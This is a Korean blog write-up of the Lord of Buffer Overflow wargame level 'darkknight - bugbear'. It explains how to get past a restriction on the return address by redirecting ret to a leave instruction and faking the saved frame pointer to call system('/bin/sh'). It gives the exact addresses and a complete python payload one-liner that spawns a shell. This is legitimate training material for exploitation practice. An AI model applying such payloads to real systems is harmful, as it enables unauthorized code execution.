-
|Lord Of Bufferoverflow| #13 darkknight - bugbearWargame Site/BOF 2019. 6. 21. 13:00
RET 에 제한을 두는 문제이다.
앞서 풀어본 문제는 함수를 호출하고 바로 leave 와 ret 가 뒤에 있기 때문에 조작하기 쉬웠던 것이었다.
하지만, 이 문제에서는 앞의 문제의 구조와는 다르다.
하지만, ret 를 leave 로 향하게 해준다면, SFP 조작으로 System(/bin/sh) 실행이 가능할 것이다
우선 프로그램 내에서 leave 와 ret 의 위치를 파악하기 위해 objdump 를 사용했다.
실습에서 사용할 leave 는 저 녀석이다. 0x0804830d (leave)
이로써 앞의 문제와 같은 문제가 되도록 할 수 있다.
[ System 의 주소 ] + AAAA (EBP 역할) + [ /bin/sh 의 주소 ] + ..... + [ Buffer 시작 - 4 ] + [ leave 의 주소 ]
다음과 같이 설계한다면 문제를 해결할 수 있을 것이다.
1. system 의 주소 2. /bin/sh 의 주소 3. Buffer 시작 4. leave 의 주소
이 중, system 주소와 /bin/sh 의 주소 그리고 leave 의 주소는 이미 알고있다.
이제 Buffer 의 시작주소를 구한 뒤, 넣어주면 끝날 것이다.
자, 모든 주소 탐색이 끝났다.
System 주소 : 0x40058ae0
/bin/sh 주소 : 0x400fbff9
buffer 시작주소 : 0xbffffc60
leave 주소 : 0x0804830d
`python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x90"*28 + " \x5c\xfc\xff\xbf" + "\x0d\x83\x04\x08"'`
다음과 같이 설계가 완성된다.
다음과 같이 Shell 을 획득한 것을 볼 수 있다.
'Wargame Site > BOF' 카테고리의 다른 글
|Lord Of Bufferoverflow| #15 giant - assassin (0) 2019.06.23 |Lord Of Bufferoverflow| #14 bugbear - giant (0) 2019.06.23 |Lord Of Bufferoverflow| #12 golem - darkknight (0) 2019.06.17 |Lord Of Bufferoverflow| #11 skeleton - golem (0) 2019.06.16 |Lord Of Bufferoverflow| #10 vampire - skeleton (0) 2019.06.10 댓글